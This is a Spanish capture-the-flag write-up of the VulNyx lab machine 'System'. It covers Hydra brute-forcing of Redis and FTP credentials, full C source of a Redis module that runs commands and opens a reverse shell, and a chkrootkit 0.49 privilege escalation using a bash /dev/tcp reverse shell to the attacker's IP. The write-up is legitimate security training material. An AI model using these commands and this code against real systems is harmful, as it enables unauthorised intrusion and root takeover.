VulNyx - System
- Redis Password Brute-Force using Hydra
- FTP Username Brute-Force using Hydra
- Arbitrary Command Execution via RedisModules-ExecuteCommand
- Chkrootkit 0.49 – Local Privilege Escalation – CVE-2014-0476
Escaneo de puertos
❯ nmap -p- -sS --min-rate 5000 -vvv -n -Pn 172.0.100.38
PORT STATE SERVICE REASON
2121/tcp open ccproxy-ftp syn-ack ttl 64
6379/tcp open redis syn-ack ttl 64
8000/tcp open http-alt syn-ack ttl 64
Escaneo de servicios
❯ nmap -sVC -p 2121,6379,8000 172.0.100.38
PORT STATE SERVICE VERSION
2121/tcp open ftp pyftpdlib 1.5.6
| ftp-syst:
| STAT:
| FTP server status:
| Connected to: 172.0.100.38:2121
| Waiting for username.
| TYPE: ASCII; STRUcture: File; MODE: Stream
| Data connection closed.
|_End of status.
6379/tcp open redis Redis key-value store
8000/tcp open http SimpleHTTPServer 0.6 (Python 3.9.2)
|_http-server-header: SimpleHTTP/0.6 Python/3.9.2
|_http-title: Site doesn't have a title (text/html).
FTP - TCP 2121
El intento de autenticación con credenciales anonymous
falla, lo que indica que el servicio no permite acceso anónimo y requiere credenciales válidas. No se dispone de usuarios conocidos que permitan llevar a cabo un ataque de fuerza bruta.
❯ ftp 172.0.100.38 -p 2121
Connected to 172.0.100.38.
220 pyftpdlib 1.5.6 ready.
Name (172.0.100.38:noname): anonymous
331 Username ok, send password.
Password:
530 Anonymous access not allowed.
ftp: Login failed
ftp>
REDIS - TCP 6379
En el servicio Redis, el intento de conexión sin autenticación también falla, lo que indica que el acceso está restringido mediante una contraseña.
HTTP - TCP 8000
Se realiza un ataque de fuerza bruta al servicio Redis utilizando hydra
, lo que permite obtener una contraseña válida para el acceso.
❯ hydra -t 64 -P "/usr/share/wordlists/rockyou.txt" -s 6379 172.0.100.38 redis -V -F -I
[6379][redis] host: 172.0.100.38 password: bonjour
Se establece conexión con el servicio Redis utilizando la contraseña obtenida; sin embargo, en esta fase no se identifican vectores adicionales de explotación o interacción útil.
Se dispone de una contraseña previamente obtenida que podría ser reutilizable en el servicio FTP. Para validarlo, se procede a realizar un ataque de fuerza bruta sobre el nombre de usuario utilizando hydra
.
❯ hydra -t 64 -L "/usr/share/seclists/Usernames/Names/names.txt" -p "bonjour" -s 2121 172.0.100.38 ftp -V -F -I
En pocos segundos, el ataque de fuerza bruta permite identificar un nombre de usuario válido para el servicio FTP.
[2121][ftp] host: 172.0.100.38 login: ben password: bonjour
Con las credenciales válidas, se establece una conexión exitosa al servidor FTP.
❯ ftp 172.0.100.38 -p 2121
Connected to 172.0.100.38.
220 pyftpdlib 1.5.6 ready.
Name (172.0.100.38:noname): ben
331 Username ok, send password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
Se crea el archivo test.txt
con el objetivo de verificar si el usuario autenticado dispone de permisos de escritura en el servidor FTP mediante la subida del mismo.
ftp> put test.txt
local: test.txt remote: test.txt
229 Entering extended passive mode (|||40675|).
125 Data connection already open. Transfer starting.
0 0.00 KiB/s
226 Transfer complete.
ftp> ls
229 Entering extended passive mode (|||40011|).
125 Data connection already open. Transfer starting.
-rw-r--r-- 1 ben ben 0 May 02 15:41 test.txt
226 Transfer complete.
Al consultar HackTricks, encuentro el artículo Load Redis Module, que describe cómo compilar un módulo para Redis que permite ejecutar comandos arbitrarios en el servidor. Se descarga el módulo desde el repositorio para proceder con su compilación.
https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git
Al ejecutar el comando make, se presentan varios errores de compilación. Sin embargo, con la asistencia de Copilot, logro solucionar los problemas y completar el proceso de compilación con éxito.
module.c corregido
#include <string.h>
#include "redismodule.h"
#include <arpa/inet.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
int DoCommand(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
if (argc == 2) {
size_t cmd_len;
size_t size = 1024;
const char *cmd = RedisModule_StringPtrLen(argv[1], &cmd_len);
FILE *fp = popen(cmd, "r");
if (!fp) {
return RedisModule_ReplyWithError(ctx, "Error al ejecutar el comando");
}
char *buf = (char *)malloc(size);
char *output = (char *)malloc(size);
if (!buf || !output) {
return RedisModule_ReplyWithError(ctx, "Error en la asignación de memoria");
}
output[0] = '\0'; // Inicializar `output` como cadena vacía
while (fgets(buf, size, fp) != NULL) {
if (strlen(buf) + strlen(output) >= size) {
size <<= 1;
output = realloc(output, size);
if (!output) {
return RedisModule_ReplyWithError(ctx, "Error en la re-asignación de memoria");
}
}
strcat(output, buf);
}
RedisModuleString *ret = RedisModule_CreateString(ctx, output, strlen(output));
RedisModule_ReplyWithString(ctx, ret);
free(buf);
free(output);
pclose(fp);
} else {
return RedisModule_WrongArity(ctx);
}
return REDISMODULE_OK;
}
int RevShellCommand(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
if (argc == 3) {
size_t cmd_len;
const char *ip = RedisModule_StringPtrLen(argv[1], &cmd_len);
const char *port_s = RedisModule_StringPtrLen(argv[2], &cmd_len);
int port = atoi(port_s);
struct sockaddr_in sa;
sa.sin_family = AF_INET;
sa.sin_port = htons(port);
sa.sin_addr.s_addr = inet_addr(ip);
int sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock < 0) {
return RedisModule_ReplyWithError(ctx, "Error al crear el socket");
}
if (connect(sock, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
return RedisModule_ReplyWithError(ctx, "Error en la conexión al servidor remoto");
}
dup2(sock, 0); // Redirigir stdin
dup2(sock, 1); // Redirigir stdout
dup2(sock, 2); // Redirigir stderr
char *args[] = {"/bin/sh", NULL};
execve("/bin/sh", args, NULL);
close(sock);
} else {
return RedisModule_WrongArity(ctx);
}
return REDISMODULE_OK;
}
Tras resolver los errores de compilación, se genera correctamente el archivo module.so
, listo para ser cargado en el servidor Redis.
Se establece conexión con el servicio FTP y se procede a subir el archivo module.so
al servidor.
Es necesario identificar la ruta absoluta del archivo para poder referenciarlo correctamente desde Redis. Con la ayuda de Copilot
, se obtienen varias rutas potenciales que podrían ser útiles para su ejecución.
Me conecto nuevamente al servidor Redis para cargar el módulo, utilizando la ruta /srv/ftp
para su carga en el servidor.
MODULE LOAD /srv/ftp/module.so
Con apoyo del README, logro ejecutar comandos y verificar que se ejecutan correctamente.
Tras confirmar la ejecución remota de comandos, dejo un netcat
a la escucha y obtengo una shell inversa satisfactoriamente.
Una vez dentro de la máquina objetivo, enumero los procesos del sistema utilizando pspy64
y encuentro un proceso ejecutándose con UID 0, lo que indica que tiene privilegios de root.
Ejecuto chkrootkit -V
para obtener la versión de la aplicación instalada en la máquina objetivo.
ben@system:/dev/shm$ chkrootkit -V
chkrootkit version 0.49
Al buscar chkrootkit version 0.49 exploit, encuentro esta web que describe una vulnerabilidad en el paquete chkrootkit
. Esta vulnerabilidad podría permitir a atacantes locales obtener privilegios de root en ciertas configuraciones, específicamente cuando /tmp
no está montado con la opción noexec
.
Creación del archivo malicioso
ben@system:/dev/shm$ echo '#!/bin/bash' > /tmp/update
ben@system:/dev/shm$ echo 'bash -i >& /dev/tcp/172.0.100.25/443 0>&1' >> /tmp/update
ben@system:/dev/shm$ chmod +x /tmp/update
En pocos segundos, logro obtener acceso como root, aprovechando la vulnerabilidad en chkrootkit
.
Y así concluye el viaje en la máquina System.
Que el destino te guíe.
Saludos.